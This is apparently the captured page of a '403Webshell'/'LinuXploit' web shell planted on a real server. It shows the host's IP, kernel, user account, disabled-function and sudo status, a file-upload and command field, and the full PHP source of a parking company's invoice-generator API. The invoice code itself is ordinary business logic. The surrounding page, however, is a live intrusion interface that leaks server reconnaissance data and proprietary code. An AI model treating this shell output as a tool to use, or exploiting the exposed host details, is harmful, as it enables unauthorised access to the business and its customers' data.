403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/invgen-api.php
<?php
/**
 * invgen-api.php – Backend für das InvGen-Tool (On-the-fly-SeaSide-Rechnungen). Nur Admins mit Tool-Recht.
 * Rechnungen werden NIE gespeichert (nur temporär gerendert/versendet).
 *
 * action= customer_search | event_search | products | next_no | quote | preview | send
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );

function ig_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); header( 'Cache-Control: no-store' ); echo json_encode( $a ); exit(); }
function ig_fail( $m ) { ig_json( array( 'ok' => false, 'error' => $m ) ); }

if ( ! function_exists( 'is_admin' ) || ! is_admin() || ! pacim_user_has_tool( 'invgen' ) ) { http_response_code( 403 ); ig_fail( 'Nicht berechtigt.' ); }

$db     = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$action = (string) ( $_POST['action'] ?? ( $_GET['action'] ?? '' ) );

/** Nächste mögliche PAS-Nummer NUR ermitteln (ohne den Pool zu verbrauchen – nichts wird gespeichert). */
function ig_next_no( $db ) {
    $f = $db->rawQueryOne( "SELECT free_no FROM pacim_invoice_free_no ORDER BY free_no ASC LIMIT 1" );
    if ( $f && (int) $f['free_no'] > 0 && ! $db->rawQueryOne( "SELECT invoice_id FROM pacim_invoice WHERE invoice_no = ? LIMIT 1", array( 'PAS' . (int) $f['free_no'] ) ) )
        return 'PAS' . (int) $f['free_no'];
    $r = $db->rawQueryOne( "SELECT CAST(REGEXP_REPLACE(invoice_no,'[a-zA-Z]+','') AS UNSIGNED)+1 AS nx FROM pacim_invoice WHERE invoice_no REGEXP '^PAS[0-9]+$' ORDER BY CAST(REGEXP_REPLACE(invoice_no,'[a-zA-Z]+','') AS UNSIGNED) DESC LIMIT 1" );
    return 'PAS' . ( ( $r && $r['nx'] ) ? (int) $r['nx'] : 1 );
}

if ( $action === 'next_no' ) ig_json( array( 'ok' => true, 'no' => ig_next_no( $db ) ) );

/* ---------------------------------------------------- Kunden-Live-Suche */
if ( $action === 'customer_search' ) {
    $q = trim( (string) ( $_GET['q'] ?? '' ) );
    if ( mb_strlen( $q ) < 2 ) ig_json( array( 'ok' => true, 'results' => array() ) );
    $like = '%' . $q . '%';
    $rows = (array) $db->rawQuery(
        "SELECT customer_id, customer_gender, customer_firstname, customer_lastname, customer_name,
                customer_street, customer_zipcode, customer_city, customer_country, customer_email
           FROM pacim_customer
          WHERE customer_lastname LIKE ? OR customer_firstname LIKE ? OR customer_name LIKE ? OR customer_email LIKE ?
          ORDER BY customer_lastname ASC, customer_firstname ASC LIMIT 15",
        array( $like, $like, $like, $like ) );
    $out = array();
    foreach ( $rows as $r ) {
        $nm = trim( (string) $r['customer_name'] ) !== '' ? $r['customer_name'] : trim( $r['customer_firstname'] . ' ' . $r['customer_lastname'] );
        $out[] = array(
            'id' => (int) $r['customer_id'], 'label' => $nm, 'email' => (string) $r['customer_email'],
            'gender' => (int) $r['customer_gender'], 'firstname' => (string) $r['customer_firstname'], 'lastname' => (string) $r['customer_lastname'],
            'company' => (string) $r['customer_name'], 'street' => (string) $r['customer_street'], 'zip' => (string) $r['customer_zipcode'],
            'city' => (string) $r['customer_city'], 'country' => (string) ( $r['customer_country'] ?: 'Deutschland' ),
        );
    }

    // Zusätzlich: STORNOS mit anzeigen – aber nur solche, die dem Kunden NOCH NICHT per Storno-Mail
    // mitgeteilt wurden UND deren Anreise nicht älter als 6 Wochen ist. Beim Auswählen wird die
    // stornierte Buchung im Formular reproduziert (Zeitraum/Stellplatz/Schiff/Zusatzleistungen) → neu berechnen/versenden.
    $ctpl = $db->rawQueryOne( "SELECT template_id FROM pacim_templates WHERE template_key = 'cancellation' LIMIT 1" );
    $cid  = $ctpl ? (int) $ctpl['template_id'] : 5;   // Storno-Mail-Template (Fallback 5)
    $stRows = (array) $db->rawQuery(
        "SELECT b.booking_id, b.booking_no, DATE(b.booking_begin) AS begin, DATE(b.booking_end) AS end,
                b.booking_event, b.booking_type, b.booking_invoice,
                c.customer_id, c.customer_gender, c.customer_firstname, c.customer_lastname, c.customer_name,
                c.customer_street, c.customer_zipcode, c.customer_city, c.customer_country, c.customer_email,
                (SELECT GROUP_CONCAT(ip.product_id) FROM pacim_invoice_pos ip
                   WHERE ip.invoice_id = b.booking_invoice AND ip.product_id > 2) AS extra_ids
           FROM pacim_booking b
           JOIN pacim_invoice  i ON i.invoice_id = b.booking_invoice
      LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
          WHERE i.invoice_status = 3
            AND DATE(b.booking_begin) >= ( CURDATE() - INTERVAL 42 DAY )
            AND NOT EXISTS ( SELECT 1 FROM pacim_messages m WHERE m.message_template = ? AND m.message_status <> 0
                                   AND ( m.message_booking = b.booking_id OR m.message_invoice = b.booking_invoice ) )
            AND ( c.customer_lastname LIKE ? OR c.customer_firstname LIKE ? OR c.customer_name LIKE ?
                  OR c.customer_email LIKE ? OR b.booking_no LIKE ? )
       ORDER BY b.booking_begin DESC LIMIT 15",
        array( $cid, $like, $like, $like, $like, $like ) );
    $stOut = array();
    foreach ( $stRows as $r ) {
        $nm = trim( (string) $r['customer_name'] ) !== '' ? $r['customer_name'] : trim( $r['customer_firstname'] . ' ' . $r['customer_lastname'] );
        $extras = array();
        if ( trim( (string) $r['extra_ids'] ) !== '' )
            foreach ( explode( ',', (string) $r['extra_ids'] ) as $x ) { $x = (int) $x; if ( $x > 0 ) $extras[] = $x; }
        $stOut[] = array(
            'id' => (int) $r['customer_id'], 'label' => $nm, 'email' => (string) $r['customer_email'],
            'gender' => (int) $r['customer_gender'], 'firstname' => (string) $r['customer_firstname'], 'lastname' => (string) $r['customer_lastname'],
            'company' => (string) $r['customer_name'], 'street' => (string) $r['customer_street'], 'zip' => (string) $r['customer_zipcode'],
            'city' => (string) $r['customer_city'], 'country' => (string) ( $r['customer_country'] ?: 'Deutschland' ),
            'storno' => true, 'booking_no' => (string) $r['booking_no'], 'begin' => (string) $r['begin'], 'end' => (string) $r['end'],
            'ship' => (string) $r['booking_event'], 'type' => (int) $r['booking_type'], 'extras' => $extras,
        );
    }
    // Stornos zuerst (Arbeitsliste), danach normale Kundentreffer.
    ig_json( array( 'ok' => true, 'results' => array_merge( $stOut, $out ) ) );
}

/* ---------------------------------------------------- Event-Live-Suche */
if ( $action === 'event_search' ) {
    $q = trim( (string) ( $_GET['q'] ?? '' ) );
    if ( mb_strlen( $q ) < 2 ) ig_json( array( 'ok' => true, 'results' => array() ) );
    $out = array();
    $t = $db->rawQueryOne( "SHOW TABLES LIKE 'pacim_events'" );
    if ( $t ) {
        foreach ( (array) $db->rawQuery( "SELECT DISTINCT event_title FROM pacim_events WHERE event_title LIKE ? ORDER BY event_title ASC LIMIT 12", array( '%' . $q . '%' ) ) as $r )
            if ( trim( (string) $r['event_title'] ) !== '' ) $out[] = (string) $r['event_title'];
    }
    // Fallback: bereits gebuchte Schiffe/Events
    if ( ! $out )
        foreach ( (array) $db->rawQuery( "SELECT DISTINCT booking_event FROM pacim_booking WHERE booking_event LIKE ? ORDER BY booking_event ASC LIMIT 12", array( '%' . $q . '%' ) ) as $r )
            if ( trim( (string) $r['booking_event'] ) !== '' ) $out[] = (string) $r['booking_event'];
    ig_json( array( 'ok' => true, 'results' => $out ) );
}

/* ---------------------------------------------------- Produkte (Zusatzleistungen) */
if ( $action === 'products' ) {
    $rows = (array) $db->rawQuery( "SELECT product_id, product_title, product_price, product_tax FROM pacim_products WHERE product_price > 0 AND product_id > 2 ORDER BY product_title ASC" );
    $out = array();
    foreach ( $rows as $r ) $out[] = array( 'id' => (int) $r['product_id'], 'title' => (string) $r['product_title'], 'net' => (float) $r['product_price'], 'gross' => round( (float) $r['product_price'] * 1.19, 2 ) );
    ig_json( array( 'ok' => true, 'results' => $out ) );
}

/* ---------------------------------------------------- Preisberechnung (quote) */
function ig_collect_positions( $in ) {
    // Parkplatztyp + Zeitraum + Extras -> Positionen (Netto) via bookingservice::quote.
    $type  = ( (int) ( $in['type'] ?? 1 ) === 2 ) ? 2 : 1;
    $begin = substr( (string) ( $in['begin'] ?? '' ), 0, 10 );
    $end   = substr( (string) ( $in['end'] ?? '' ), 0, 10 );
    if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $begin ) ) $begin = date( 'Y-m-d' );
    if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $end ) || $end < $begin ) $end = $begin;
    $prods = array();
    foreach ( (array) ( $in['products'] ?? array() ) as $pid ) { $pid = (int) $pid; if ( $pid > 2 ) $prods[] = $pid; }
    $q = bookingservice::quote( array( 'type' => $type, 'begin' => $begin, 'end' => $end, 'products' => $prods, 'brokerId' => 0 ) );
    return array( $q, $begin, $end, $type );
}

if ( $action === 'quote' ) {
    list( $q ) = ig_collect_positions( $_POST );
    ig_json( array( 'ok' => true, 'positions' => $q['positions'], 'net' => $q['net'], 'gross' => $q['gross'], 'duration' => $q['duration'] ) );
}

/* ---------------------------------------------------- Synthetisches (NICHT gespeichertes) Datenobjekt für createInvoice */
function ig_build_dataobj( $db, $in ) {
    list( $q, $begin, $end ) = ig_collect_positions( $in );
    // Anrede wird NICHT manuell gesetzt: Firma vorhanden -> gender 3 (Firmenname im Empfänger), sonst 0 (Vor-/Nachname).
    $company = trim( (string) ( $in['company'] ?? '' ) );
    $gender  = ( $company !== '' ) ? 3 : 0;
    $cust = array(
        'customer_gender' => $gender,
        'customer_firstname' => trim( (string) ( $in['firstname'] ?? '' ) ),
        'customer_lastname'  => trim( (string) ( $in['lastname'] ?? '' ) ),
        'customer_name'      => $company,
        'customer_street'    => trim( (string) ( $in['street'] ?? '' ) ),
        'customer_zipcode'   => trim( (string) ( $in['zip'] ?? '' ) ),
        'customer_city'      => trim( (string) ( $in['city'] ?? '' ) ),
        'customer_country'   => trim( (string) ( $in['country'] ?? 'Deutschland' ) ) ?: 'Deutschland',
        'customer_email'     => trim( (string) ( $in['email'] ?? '' ) ),
    );
    $no   = trim( (string) ( $in['invoice_no'] ?? '' ) ); if ( $no === '' ) $no = ig_next_no( $db );
    $date = substr( (string) ( $in['invoice_date'] ?? '' ), 0, 10 ); if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $date ) ) $date = $begin;
    $pay  = (int) ( $in['payment'] ?? 0 ); if ( ! in_array( $pay, array( 0, 1, 2, 3 ), true ) ) $pay = 0;
    $coupon = (int) ( $in['coupon'] ?? 0 ); if ( ! in_array( $coupon, array( 0, 1, 2 ), true ) ) $coupon = 0;
    $payLabel = array( 1 => 'Überweisung', 2 => 'EC-Karte', 3 => 'Bar' )[ $pay ] ?? '';
    $inv = array(
        'invoice_no' => $no, 'invoice_date' => $date, 'invoice_payment' => $pay, 'invoice_coupon' => $coupon,
        'payment' => $payLabel, 'invoice_paydate' => $date, 'invgen' => 1,   // InvGen-Variante: Titel „Rechnung <Nr.>", kein Bezahlt-Block
        'booking_begin' => $begin, 'booking_end' => $end, 'booking_event' => trim( (string) ( $in['event'] ?? '' ) ),
    );
    $products = array();
    foreach ( $q['positions'] as $p ) $products[] = array(
        'product_id' => (int) $p['product_id'], 'invoice_pos_title' => (string) $p['title'],
        'invoice_pos_description' => '', 'invoice_pos_price' => (float) $p['net'],
        'invoice_pos_quantity' => (int) $p['qty'], 'invoice_pos_discount_type' => 0,
    );
    return (object) array( 'customer' => (object) $cust, 'invoice' => (object) $inv, 'products' => $products );
}

/* ---------------------------------------------------- Vorschau (PDF inline, nichts gespeichert) */
if ( $action === 'preview' ) {
    $obj = ig_build_dataobj( $db, $_POST );
    while ( ob_get_level() > 0 ) ob_end_clean();
    $oPDF = new pdf();
    $oPDF->createInvoice( $obj, FALSE, FALSE, FALSE, 'I' );   // create=FALSE -> nur Ausgabe, kein Speichern
    exit();
}

/* ---------------------------------------------------- Versenden (PDF als Anhang; NICHTS gespeichert) */
if ( $action === 'send' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) ig_fail( 'Methode nicht erlaubt.' );
    $to = trim( (string) ( $_POST['to'] ?? '' ) );
    if ( ! filter_var( $to, FILTER_VALIDATE_EMAIL ) ) ig_fail( 'Bitte eine gültige Empfängeradresse angeben.' );
    $obj = ig_build_dataobj( $db, $_POST );
    $no  = (string) $obj->invoice->invoice_no;

    // PDF temporär erzeugen (Output 'S' liefert keinen Rückgabewert in createInvoice -> via Output-Buffer abgreifen).
    ob_start(); $oPDF = new pdf(); $oPDF->createInvoice( $obj, FALSE, FALSE, FALSE, 'I' ); $pdf = ob_get_clean();
    if ( substr( (string) $pdf, 0, 4 ) !== '%PDF' ) ig_fail( 'PDF konnte nicht erzeugt werden.' );
    $tmp = rtrim( PATH_DATAS, '/' ) . '/incoming/invgen_' . bin2hex( random_bytes( 8 ) ) . '.pdf';
    @file_put_contents( $tmp, $pdf );

    // E-Mail-Text aus der Vorlage „Rechnung [invoice_no]" (template_key inv_resend) rendern –
    // mit der eingegebenen Rechnungsnummer und dem eingegebenen Namen.
    $first = trim( (string) ( $_POST['firstname'] ?? '' ) );
    $last  = trim( (string) ( $_POST['lastname'] ?? '' ) );
    $comp  = trim( (string) ( $_POST['company'] ?? '' ) );
    $ctx = array(
        'invoice_no'         => $no,
        'customer_firstname' => $first,
        'customer_lastname'  => ( $last !== '' ? $last : ( $first === '' ? $comp : $last ) ),
        'name'               => ( $comp !== '' ? $comp : trim( $first . ' ' . $last ) ),
    );
    $plain = '';
    $tplRow = $db->rawQueryOne( "SELECT * FROM pacim_templates WHERE template_key = 'inv_resend' AND template_active = 1" );
    if ( $tplRow && class_exists( 'mailrenderer' ) ) {
        $r = mailrenderer::render( (object) $tplRow, $ctx );
        $subject = $r['subject']; $html = $r['html']; $plain = isset( $r['plain'] ) ? $r['plain'] : '';
    } else {
        $subject = 'Rechnung ' . $no;
        $html = '<p>Guten Tag,</p><p>anbei erhalten Sie Ihre Rechnung ' . htmlspecialchars( $no, ENT_QUOTES, 'UTF-8' ) . ' als PDF.</p><p>Mit freundlichen Grüßen<br>Ihr SeaSide-Team · Parken-am-Schiff.de</p>';
    }
    $files = array( array( 'path' => $tmp, 'name' => $no . '.pdf' ) );
    $res = mailservice::send( $to, '', $subject, $html, $files, array( 'plain' => $plain ) );
    @unlink( $tmp );
    if ( empty( $res['ok'] ) ) ig_fail( ( $res['error'] ?? 'Versand fehlgeschlagen.' ) );
    ig_json( array( 'ok' => true, 'sent_to' => $to, 'no' => $no ) );
}

ig_fail( 'Unbekannte Aktion.' );

Youez - 2016 - github.com/yon3zu
LinuXploit